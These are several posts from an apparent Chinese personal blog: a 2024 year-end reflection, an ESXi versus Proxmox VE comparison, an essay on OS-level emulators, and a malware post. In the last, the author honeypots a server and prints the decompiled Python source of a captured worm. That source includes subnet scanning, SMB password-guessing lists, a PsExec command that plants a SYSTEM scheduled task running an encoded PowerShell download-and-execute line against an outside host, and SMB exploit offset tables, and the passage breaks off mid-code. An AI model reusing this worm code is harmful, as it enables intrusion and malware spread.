2025-01-01 00:00:00
All Systems Operational.
在过去的一年里,其实相比之前感觉好了一些,工作了一年多感觉什么事情都没有发生。这么看来在上学期间确实是痛苦啊,有人说出了学校会更加痛苦,至少在我看来并没有发生这种事情。不过也正是没有发生什么大事,所以感觉稍微有点无聊,但是我不讨厌,因为我知道刺激的生活并不会有趣,虽然可能会错过一些机会和有趣的事情,但是也降低了碰上危险和讨厌的事情的风险,还是安稳一些比较好。
虽然这一年里没发生什么大事,不过小事肯定还是有些的。其实我的记忆能力还是一如既往的差,和去年一样,什么都想不起来,现在我顶多能记起半年左右的事情。令我记忆比较深刻的事情大概就是国庆节前后发生的事情,那段时间A股突然大涨,我受到家里人和自己的贪心以及在那之前手头的债券基金跌了一些等影响,入了一点进去,然后第二天就吃了跌停🤣。随后我就退出股市,不打算再玩了。还好之后的A股就再没有起来过(尤其是一年的最后一天再来一次大跌🤣),要不是我当机立断退出,可能就永无天日吧😅(虽然还是亏了不少😥,不过影响不大)。
我平时还是挺节俭的,虽然我知道节约并不能让我更有钱,但节约一点至少可以用的多一些。而自从我上次一天就消费掉几千块钱,什么都没换来之后,我知道了这简直毫无意义,省吃俭用也不如一次大跌。不过我知道了,如果想达成目标,就不要瞎搞,不要考虑投资的事情。但是市场环境仍然需要考虑,不能因为其他人的行为影响到了我的目标,也许换成黄金是最好的选择,只是我仍然没法下定决心,也许只有什么契机才可以吧。在那之前我仍然不会改变我的行为,我还是不会提高我的消费水平😂。
除此之外令我印象比较深刻的事情还是AI,这一年里LLM发展的比我想象的更加厉害,现在各行各业已经全面在用了,成本也比之前低得多,不像之前用AI的成本还稍微有些高,现在基本上都是免费的,而且效果也比之前好很多,像知名AI直播主Neuro-sama的表现相比之前也好多了,逻辑性和整活能力也更强了(虽然我只看切片可能判断上还是有些片面)。至于我因为AI的广泛发展也给我的博客加上了AI摘要,知识库问答 以及相似文章推荐,另外从我做完之后也进行了大力推广让其他站长也用上了我写的AI摘要,也算是对AI发展的回应了。
既然2024年没有发生什么特别的事情,那我希望2025年也不要发生什么事情,就像我在2023年的年终总结所说,未来10年都要如一日,工作日上班,下班了玩电脑,休息日睡觉,节假日回家,不要做多余的事情,只要环境没有什么变化,就不要进行多余的操作,这样才能安稳的到达马拉松的终点。
至于其他事情,有趣的研究如果碰上了我依然会去做,做完之后就写篇博客😊。虽然说写多了之前写的我自己可能都忘了,不过总有些有用的东西,可以在我需要的时候进行参考,而且写多了之后拿来训练AI说不定能做一个和我想法一样的AI呢,到时候就可以代替我想问题了😆。
2024-12-29 00:00:00
装虚拟机用什么系统更好呢?
前段时间我有个需要开很多机器的需求,为了方便管理和提高资源利用率,当然是上虚拟机比较合适。那用什么系统上虚拟机好呢?Windows上用Hyper-V当然也是不错的选择,但是我觉得Windows的基础占用太高了,另外Hyper-V的操作面板也不怎么样,所以就不考虑了。那用什么呢?之前我上大学的时候用过ESXi,在随身携带的U盘里上正好有一份,一直没删,所以就顺手给手头的工作站安了一下。不过我当时用的版本很旧了,是6.7,虽然也不是不能用,但是考虑到这个版本之前有RCE漏洞,所以去sysin上下了一份最终版的6.7U3u更新包更新了上去,以后就不再更新了。
不过除了ESXi之外还有别的选择,我看很多人都拿PVE和ESXi比较。虽然经常听说PVE但是我没有用过,所以就在另一个工作站上安装了PVE试试看哪个用起来更好。不过和PVE比的其实不该是ESXi,而是VMWare vSphere,只不过我两个系统都是一台机器,也用不着搞集群,找破解版还麻烦。所以其实我是拿ESXi的VMware Host Client和PVE进行对比。
另外从本质来说它们也不是一个东西,PVE更像是Debian上一个管理虚拟化的面板,ESXi是VMKernel附带了个可以临时使用的Web端面板,侧重点不一样。
首先从界面来看两个系统长得其实差不太多,不过左侧导航栏有点不太一样,把PVE的导航栏改成文件夹视图就和ESXi的差不多了。从界面上来说我更喜欢ESXi的界面,PVE的感觉没什么设计感。不过PVE面板的数据是1秒刷新一次的,ESXi就算配置刷新也只能最短每15秒刷新一次。从功能上来说可能PVE会更好一点。另外对于显示的图表来说PVE全在“概要”里,在ESXi都在“监控”里,虽然PVE的图表更多,但是有些感觉没什么意义,因为PVE是基于Linux的,所以有“负载”这个指标,不过对于虚拟机系统来说感觉意义不大啊……不过也可能是因为用了LXC容器之后会影响PVE的负载所以整了这个项目?
另外PVE还有个好处是可以看CPU温度,我看有一个叫“pvetools”的工具可以配置在界面上显示CPU频率和温度,ESXi没有IPMI的话用啥办法都看不到CPU温度😅。
ESXi和PVE创建虚拟机都挺简单的,都有专门的向导。不过我测试PVE的时候选择安装Windows 10,它推荐的架构居然是i440fx机器和SeaBIOS固件,虽然也不是不能用,但它怎么选了个最垃圾的,虽然选成Windows 11是推荐的q35和UEFI引导……而且SCSI控制器还选了个要驱动的半虚拟化设备,但PVE没有自带这个驱动包啊,这些都是不小的坑。而ESXi就正常多了,选择Windows 10会默认使用UEFI引导,而且会选择一个兼容性最好的SCSI控制器和网络适配器,便于没有安装驱动的时候能正常使用,另外ESXi是自带VMWare Tools的,在系统安装完成后可以直接挂载安装,比PVE的体验好很多。另外PVE还有一个坑,那就是CPU默认会用QEMU自己的一个类型,那个在虚拟机里就读不到CPU的型号了,而且性能会打折扣。不过这个倒也能理解,毕竟PVE是给集群设计的,在迁移到其他节点的时候选host可能在迁移到不同CPU的节点时会出现问题。不过ESXi也是啊……怎么它就没有这种问题?总之PVE不适合小白。
PVE相比ESXi多了个特性,那就是LXC容器,因为PVE是基于Linux的,所以可以创建容器。这个体验倒是还行,可以直接在面板上下载模版,创建也没什么坑,配好之后和虚拟机几乎一模一样,甚至还能在上面安装Docker,IP也是独立分配的,用起来还不错。
PVE相比ESXi在存储上能选的花里胡哨的东西有点多,默认它会把系统盘配置成LVM,然后单独分了个LVM-Thin的东西,两个容量不互通。这个LVM-Thin好像是只能用来存磁盘,而且看不到东西到底存在哪里了,我搜了一下好像是说这个LVM-Thin可以用多少占多少空间……我寻思qcow2格式的磁盘也有这个功能啊,而且raw格式的磁盘文件是稀疏文件,也是用多少占多少啊……两个容量不互通还浪费磁盘空间,然后我就把这个LVM-Thin删掉了,把系统盘扩容到整个磁盘,然后在存储里面允许local存储磁盘映像之类的。
除此之外PVE还支持ZFS,相当于软RAID,但是它是文件系统层面支持的,不需要初始化。我手头有3块机械盘,插在上面组了个RAIDZ,可以允许坏任意1块。组好之后可以用来存储磁盘映像和容器的数据。
ESXi的话就只能把盘格式化成VMFS6的文件系统,要么还能挂iSCSI当作磁盘或者NFS作为数据存储,如果要分布式存储应该只能搭到别的机器上然后用iSCSI挂过来,阵列看起来只能是硬RAID,ESXi并不提供软RAID的选项,也不支持挂SMB、CephFS、ZFS之类乱七八糟的东西,PVE在这一方面因为基于Linux系统发挥了很大的优势,只要Linux能挂的它就能挂。
在PVE上的网络是用的Linux Bridge,安装的时候会强制要求静态IP,不过毕竟是Linux,可以修改配置让它使用DHCP。不过看起来PVE上似乎没有配置NAT的选项,当然作为Linux来说肯定是有办法配的。ESXi用的叫做虚拟交换机,配置冗余也是在这里配置,PVE的话应该要先配置Bond然后再配置网桥。
另外ESXi对网卡要求很高,不是服务器或者工作站,用的比如什么瑞昱的网卡都是不识别的,要额外安装驱动才行,这也是PVE的优势,Linux兼容什么,它就兼容什么。不过对于大公司来说,也不可能用家用电脑当服务器使🤣,所以就算是用ESXi也不存在这种问题。
在这一方面ESXi的体验就比PVE要好很多,直接在“管理”——“硬件”——“PCI设备”里面就可以配置显卡直通之类的,没有什么复杂的配置,直接点“切换直通”然后重启就可以在虚拟机里配置了(当然VT-d之类的东西要提前开)。
PVE我最开始配直通的时候是直接网上搜的,那个pvetools也可以帮助配置PCI直通之类的,用这个工具配完之后就可以在虚拟机里添加了。不过在我添加的时候发现它有个“映射的设备”这个选项,用刚才那个工具配置完之后要选“原始设备”,然后我就想着这两个有什么区别,结果发现“数据中心”——“资源映射”里面有个PCI设备的选项😂,也许从一开始我就做错了,直接用这个添加就可以了吧?只不过因为我已经用那个工具配置过了,怕在这里加了会冲突,所以就算啦。
另外PVE的PCI直通还有个好处就是在5-10代的IntelCPU可以用Intel GVT-g技术把核显拆成多个显卡,像虚拟机如果要是需要显卡的话用这个就不用插一堆显卡给虚拟机分配了。ESXi的话只支持SR-IOV拆分,这个只有11代之后的Intel核显才可以用……我用的这两台工作站都是Intel6代的U,所以在ESXi只能把整个核显直通分给某台机器了……
硬盘直通有两种方式,一种是把控制器直通了,另外是只直通某个磁盘,在ESXi上叫RDM直通。我的主板只有一个SATA控制器,而且没有NVME硬盘,所以直通控制器肯定不行,这样会导致虚拟机管理系统读不到硬盘然后挂掉,所以要直通就只能直通某个硬盘。
ESXi直通硬盘有点复杂,要打开SSH,然后用命令创建RDM磁盘文件,挂载到虚拟机就可以了。不过我操作的时候不知道为什么网页出BUG了,加载磁盘文件之后什么都读不到,然后也不能保存,最后没办法只能修改vmx文件进行挂载了……
PVE的话我感觉它的直通更像是把整个硬盘的设备文件作为一个磁盘映像来挂载到虚拟机上了,但是PVE不允许在界面上挂载在指定存储以外的文件,所以就只能通过命令来挂载……
两个从功能来说都没问题,不过PVE挂载完之后磁盘显示的是“QEMU HARDDISK”,而且SMART信息是瞎编的,ESXi挂载之后可以看到磁盘名字、序列号,另外SMART信息也能看到(至少我用的ESXi 6.7U3u是可以的)。不过PVE可以在面板上看SMART信息,ESXi就只能登SSH敲命令看了……不过要是有IPMI应该也是能获取到硬盘的健康信息的。
从上面来看PVE的功能是要更多的,但是使用起来不如ESXi友好,坑也比较多,对于不想花时间解决问题的人来说用ESXi会更好一些,当然ESXi也并不是免费产品,它是VMWare vSphere的一个组件,VMWare vSphere是收费的,而PVE是免费的,可以付费获得额外的更新和服务,对于个人而言当然无所谓,两个肯定都不会有个人花钱买,至于公司的话……大公司选择VMWare vSphere当然会更好一些,肯定对运维会很友好,PVE的话小公司免费用会更合适一点。
至于哪个我觉得更好……我还是更倾向于用ESXi,虽然PVE功能很多,但是毕竟PVE底层是Linux,我怕乱配给配崩了🤣,ESXi的话就没有那么多会让用户搞坏的地方,所以更稳定啊。
2024-12-08 00:00:00
在一个系统模拟另一个系统有多困难呢?
前段时间我在网上和人聊天的时候谈到了安卓模拟器,在我看来所有除了Linux上可以使用例如Waydroid的容器原生运行Android之外,其他系统只能通过虚拟机的方式运行,毕竟不用虚拟机能在完全不相干的系统上运行安卓我感觉还是挺不可思议的。不过随后就被打脸了🤣,网易在前几年出过一个包含“星云引擎”的安卓模拟器——MuMu Nebula,据说这个模拟器是不需要使用虚拟化技术的。所以这次我打算探索一下这个安卓模拟器和它类似的模拟器。
在我看来,模拟硬件的就是虚拟机,模拟软件的就是模拟器。不过现在这些挺难分的,融合的也挺多。比如QEMU+KVM使用硬件虚拟化显然是虚拟机,QEMU System模式使用二进制翻译的方式模拟硬件也是虚拟机,但是QEMU User模式使用了当前系统的资源,没有模拟硬件,所以应该是模拟器(不过也有叫仿真器的?)……不过也许不是这样?模拟指令集也算虚拟了一个CPU吧,像Java虚拟机似乎就是这样,只是单模拟一个CPU叫虚拟机又感觉不太对……并且macOS的Rosetta 2甚至还有硬件加速(硬件模拟x86的内存一致性模型?),还有用了AOT已经翻译完的程序再执行那应该不算模拟器吧……另外还有什么容器之类的……搞得这些概念很难分清。
那至少使用了硬件虚拟化技术的肯定是虚拟机吧?其实这也不一定,现在的Windows有个叫“基于虚拟化的安全性”的功能使用了硬件虚拟化技术,但是不能说现在的Windows是运行在虚拟机上吧?这些大公司搞的乱七八糟的黑科技把我都绕晕了😂。
总之接下来我要说的模拟器是一定基于某个系统,然后模拟另一个系统的环境,不使用硬件虚拟化技术,而且翻译的不是「指令集」,而是「系统调用」,这样感觉才算我心目中的模拟器🫠,也就是OS模拟器。
既然是因为网易的模拟器进行的探索,肯定要先讲这个啦。首先看介绍,它是专为“低端电脑”制作的模拟器,所以整个软件都是32位的,而且不用VT,说明老到不支持硬件虚拟化的CPU都可以运行(不过那样的CPU估计至少是15年前的吧😝)。安装后首先会下载Android的镜像,但不像其他安卓模拟器最后使用的是一个磁盘镜像文件,而是像WSL1那样把所有文件都放在一个文件夹里。至于里面的文件就是和正常的32位Android x86差不多,甚至还有兼容ARM的libhoudini.so文件。然后启动模拟器后可以在任务管理器中看到有许多“nebula.exe”进程,这让我想到了Wine,看起来在模拟器中的每个安卓进程都对应着一个“nebula.exe”进程。这么来看这个星云引擎应该相当于安卓特别精简版的WSL1。
其实当时WSA出之前,我以为微软会用WSL1的技术做WSA,结果和WSL2一起用了虚拟机,太令人失望了😅。而且用类似WSL1技术的居然还让网易整出来了……虽然到现在WSA已经凉了,这个星云引擎也是没什么热度,不过单从技术上来说我觉得还是这种要好,因为这种模拟器省内存,可以共用磁盘空间,不像其他模拟器,就算虚拟机有什么气球驱动动态调整分配的内存,总是不如这种现用现申请的好。不过从速度上来说和虚拟机版安卓模拟器拉不开什么差距,技术难度估计也比虚拟机高很多,大概因为这样,所以它也凉了吧。
网易那个就挺像WSL1的,不过很明显WSL1出的早,另外和Windows结合的更深,可以直接在任务管理器中管理WSL1中的进程。虽然有些人说WSL1的BUG很多,但对我来说我是一个都没碰到过,用起来还是挺不错的……虽然不支持Docker,这也是它对我来说唯一的缺陷。不过我要是用Docker一般是在Hyper-V中单独安一个虚拟机来操作,因为WSL2和Docker desktop的内存不好控制,虚拟机限制起来比较方便。如果需要在Windows用到Linux的时候就安WSL1,因为省内存,而且和Windows共用同一个IP。不过要是安装了Nvidia显卡的话好像还是得用WSL2?我一般没这个需求所以不存在这种问题。
之前我在玩旧电脑的时候试过Darling,不过用的都是超老的电子垃圾,因为指令集的原因费了不少功夫才跑起来😂,不过就算用正常电脑跑这个感觉也没啥意义,除了项目本身很不成熟,很多软件跑不起来,另外到现在也没有做出来ARM版,x86的macOS马上就要被抛弃了,如果没有搞出ARM版,这个项目就更没什么意义了。
Wine我用的还挺多的,因为我现在用的是MacBook,在macOS上玩Windows游戏就得用Wine,另外也在树莓派上试过ExaGear+Wine,其实说来这个项目和使用虚拟机相比,不仅更省内存,而且性能要比虚拟机好得多,除了兼容性不太行之外其他都挺好的,看来省内存是模拟器的特色啊。
这种倒是挺多的,像DOSBox,还有GBA模拟器之类的,我以前在手机上就试过用DOSBox Turbo安装Windows3.2,也用GBA模拟器玩过宝可梦,不过这些其实不算我心目中的模拟器😆,因为它们不是翻译的系统调用,而是模拟了一块古董CPU,然后装了对应的系统能直接用,只不过大家都说这类算模拟器所以提了一下。
看起来模拟器相比虚拟机还是有很多优势啊,省内存这一优势还是很重要的,虽然现在内存倒是不贵 (苹果内存除外🤣) ,但是消耗本不必要的内存就是浪费吧。只不过这种东西对技术要求果然还是太高了,实在是费力不讨好,所以没有企业愿意投入精力来做,所以就都凉了啊……
不过Wine倒是活得不错,大概是因为Windows的软件太多了吧……生态很重要啊。
2024-11-02 00:00:00
想不到木马病毒居然也可以用Python写😆
在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个一键DD/重装脚本把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。
在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。
pyinstaller解包还是挺简单的,用PyInstaller Extractor就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇文章可以进行解密。
不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个uncompyle6工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个混淆过的PowerShell版mimikatz,太长了所以我给删掉了):
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: ii.py
import subprocess
import re
import binascii
import socket
import struct
import threading
import os
import random
import platform
from urllib2 import urlopen
from json import load
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
from psexec import PSEXEC
iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24',
'192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24',
'192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24',
'192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24',
'10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24']
userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest']
userlist2 = ['', 'Administrator', 'admin']
passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234',
'123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111',
'000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456',
'123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789',
'123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password',
'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie',
'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t',
'qwertyuiop', '1qaz2wsx']
domainlist = ['']
nip = []
ntlist = []
# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
mkatz = ''
def find_ip():
global iplist2
ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE)
output = ipconfig_process.stdout.read()
result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output)
for ipaddr in result:
if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0':
ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
iplist.append(ipaddr)
netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE)
output2 = netstat_process.stdout.read()
result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2)
for ip in result2:
if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1':
ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
iplist.append(ip)
try:
ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
iplist.append(ipp1)
iplist.append(ipp2)
except:
pass
iplist2 = list(set(iplist))
iplist2.sort(key=iplist.index)
return iplist2
def xip(numb):
del nip[:]
for n in xrange(numb):
ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L)))
ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24'
nip.append(ipp)
return nip
def scan(ip, p):
global timeout
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(timeout) if timeout else None)
try:
s.connect((ip, p))
return 1
except Exception as e:
return 0
def scan2(ip, p):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(2))
try:
s.connect((ip, p))
return 1
except Exception as e:
return 0
def scan3(ip, p):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(float(1))
try:
s.connect((ip, p))
return 1
except Exception as e:
return 0
def validate(ip, fr):
global dl
global domainlist
global ee2
global passlist
global userlist2
for u in userlist2:
for p in passlist:
if u == '' and p != '':
continue
for d in domainlist:
if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip):
print 'SMB Succ!'
return
def validate2(ip, fr):
global ntlist
for u in userlist2:
for d in domainlist:
for n in ntlist:
if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip):
print 'SMB Succ!'
return
def scansmb(ip, p):
global semaphore1
if scan(ip, 445) == 1:
if scan(ip, 65533) == 0:
print 'exp IP:' + ip
try:
validate(ip, '1')
except:
pass
try:
check_ip(ip, 1)
except:
pass
try:
validate2(ip, '3')
except:
pass
semaphore1.release()
def scansmb2(ip, p):
if scan2(ip, 445) == 1:
print 'exp IP:' + ip
try:
validate(ip, '2')
except:
pass
try:
check_ip(ip, 2)
except:
pass
try:
validate2(ip, '2')
except:
pass
semaphore1.release()
def scansmb3(ip, p):
global semaphore2
if scan3(ip, 445) == 1:
if scan3(ip, 65533) == 0:
print 'exp IP:' + ip
try:
validate(ip, '2')
except:
pass
try:
check_ip(ip, 2)
except:
pass
try:
validate2(ip, '3')
except:
pass
semaphore2.release()
WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack('<IIQQIIB', 2621994, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 40}
WIN7_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 128, 'SESSION_ISNULL_OFFSET': 150, 'FAKE_SECCTX': (pack('<IIIIIIB', 1835562, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 28}
WIN8_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 176, 'SESSION_ISNULL_OFFSET': 202, 'FAKE_SECCTX': (pack('<IIQQQQIIB', 3670570, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 56}
WIN8_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 136, 'SESSION_ISNULL_OFFSET': 158, 'FAKE_SECCTX': (pack('<IIIIIIIIB', 2359850, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 36}
WIN2K3_64_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 186, 'SESSION_SECCTX_OFFSET': 160, 'SECCTX_PCTXTHANDLE_OFFSET': 16, 'PCTXTHANDLE_TOKEN_OFFSET': 64, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
WIN2K3_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 150, 'SESSION_SECCTX_OFFSET': 128, 'SECCTX_PCTXTHANDLE_OFFSET': 12, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
WINXP_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 64, 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 92}
WIN2K_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 60, 'TOKEN_USER_GROUP_ADDR_OFFSET': 88}
WIN7_32_TRANS_INFO = {'TRANS_SIZE': 160, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 64, 'TRANS_OUTPARAM_OFFSET': 68, 'TRANS_INDATA_OFFSET': 72, 'TRANS_OUTDATA_OFFSET': 76, 'TRANS_PARAMCNT_OFFSET': 88, 'TRANS_TOTALPARAMCNT_OFFSET': 92, 'TRANS_FUNCTION_OFFSET': 114, 'TRANS_MID_OFFSET': 128}
WIN7_64_TRANS_INFO = {'TRANS_SIZE': 248, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 112, 'TRANS_OUTPARAM_OFFSET': 120, 'TRANS_INDATA_OFFSET': 128, 'TRANS_OUTDATA_OFFSET': 136, 'TRANS_PARAMCNT_OFFSET': 152, 'TRANS_TOTALPARAMCNT_OFFSET': 156, 'TRANS_FUNCTION_OFFSET': 178, 'TRANS_MID_OFFSET': 192}
WIN5_32_TRANS_INFO = {'TRANS_SIZE': 152, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 60, 'TRANS_OUTPARAM_OFFSET': 64, 'TRANS_INDATA_OFFSET': 68, 'TRANS_OUTDATA_OFFSET': 72, 'TRANS_PARAMCNT_OFFSET': 84, 'TRANS_TOTALPARAMCNT_OFFSET': 88, 'TRANS_FUNCTION_OFFSET': 110, 'TRANS_PID_OFFSET': 120, 'TRANS_MID_OFFSET': 124}
WIN5_64_TRANS_INFO = {'TRANS_SIZE': 224, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 104, 'TRANS_OUTPARAM_OFFSET': 112, 'TRANS_INDATA_OFFSET': 120, 'TRANS_OUTDATA_OFFSET': 128, 'TRANS_PARAMCNT_OFFSET': 144, 'TRANS_TOTALPARAMCNT_OFFSET': 148, 'TRANS_FUNCTION_OFFSET': 170, 'TRANS_PID_OFFSET': 180, 'TRANS_MID_OFFSET': 184}
X86_INFO = {'ARCH': 'x86', 'PTR_SIZE': 4, 'PTR_FMT': 'I', 'FRAG_TAG_OFFSET': 12, 'POOL_ALIGN': 8, 'SRV_BUFHDR_SIZE': 8}
X64_INFO = {'ARCH': 'x64', 'PTR_SIZE': 8, 'PTR_FMT': 'Q', 'FRAG_TAG_OFFSET': 20, 'POOL_ALIGN': 16, 'SRV_BUFHDR_SIZE': 16}
def merge_dicts(*dict_args):
result = {}
for dictionary in dict_args:
result.update(dictionary)
return result
OS_ARCH_INFO = {'WIN7': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO))}, 'WIN8': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO))}, 'WINXP': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K3': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO))}}
TRANS_NAME_LEN = 4
